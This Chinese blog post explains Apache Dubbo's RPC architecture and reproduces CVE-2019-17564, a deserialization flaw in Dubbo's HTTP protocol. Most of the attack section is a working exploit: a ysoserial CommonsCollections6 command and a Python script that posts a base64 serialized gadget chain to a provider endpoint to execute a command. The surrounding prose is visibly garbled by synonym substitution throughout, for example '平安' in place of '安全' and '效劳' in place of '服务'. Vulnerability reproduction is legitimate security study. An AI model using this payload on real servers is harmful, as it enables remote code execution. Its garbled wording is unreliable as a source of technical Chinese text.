Java安全-Dubbo

Java平安-Dubbo

What is Dubbo

Apache Dubbo 是高性能的Java RPC框架。

RPC

远程过程调用,不同于RMI,一个面向过程,一个面向对象。

效劳器A和B分别部署了一个应用,A想调用B的办法,但是它们的部署的应用不在同一个内存空间,就不能直接调用,所以需求经过网络来表达调用的语义和传达的数据。

看一下Dubbo的根本工作原理

中间的通讯协议运用dubbo协议。

先分清这几个角色

  • Container 效劳运转的容器
  • Provider RPC效劳提供方

  • Registry 注册中心

  • Consumer RPC效劳消费者

  • Monitor 监控中心

调用关系阐明:

首先容器开启并提供RPC效劳,然后

  1. 效劳提供者在启动时,向注册中心注册本人提供的效劳。
  2. 效劳消费者在启动时,向注册中心订阅本人所需的效劳。

  3. 注册中心返回效劳提供者地址列表给消费者,假如有变卦,注册中心将基于长衔接推送变卦数据给消费者。

  4. 效劳消费者,从提供者地址列表中,基于软负载平衡算法,选一台提供者停止调用,假如调用失败,再选另一台调用。

  5. 效劳消费者和提供者,在内存中累计调用次数和调用时间,定时每分钟发送一次统计数据到监控中心。

Zookeeper

Zookeeper 是Dubbo引荐运用的注册中心,装置参考

https://dubbo.apache.org/zh/docsv2.7/admin/install/zookeeper/

不开启集群

然后开启,Zookeeper注册中心。

分包

分包简单来说就是把效劳中需求的接口和模型,以及异常都抽离出来放在一个API包里,这样更便当Consumer和Provider 来完成。

搭建参考

https://github.com/apache/dubbo-samples/

CVE-2019-17564

简述

Apache Dubbo在运用HTTP协议停止通讯时,是直接运用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用的,而这个过程会读取POST恳求的Body内容并停止反序列化操作,从而招致反序列化破绽的存在进而RCE。

影响版本

复现剖析

https://github.com/apache/dubbo-samples/ 中的 http 来做demo,

再添加一个cc依赖

翻开zookeeper 然后运转 httpprovider,

能够看到dubbo的通讯协议是http协议。

运转consumer,运用wireshark追一下tcp流

由于直接运用127.0.0.1 ,数据包回环,不经过网卡,简单设置一下路由规则就好。

route add 192.168.1.6 mask 255.255.255.255 192.168.1.1 metric 1
route delete 192.168.1.6 mask 255.255.255.255 192.168.1.1 metric 1

Content-Type: application/x-java-serialized-object

用来指定java序列化的对象,尝试结构歹意的序列化数据,攻击provider本地的gadgets

java -jar ysoserial.jar CommonsCollections6 calc|base64 -w0

import requests
import base64


url = "http://192.168.1.6:8081/org.apache.dubbo.samples.http.api.DemoService"
payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="
payload = base64.b64decode(payload)

headers = {"Content-Type": "application/x-java-serialized-object"}
res = requests.post(url,headers=headers,data=payload)
print(res.text)
------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞15赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像撒三0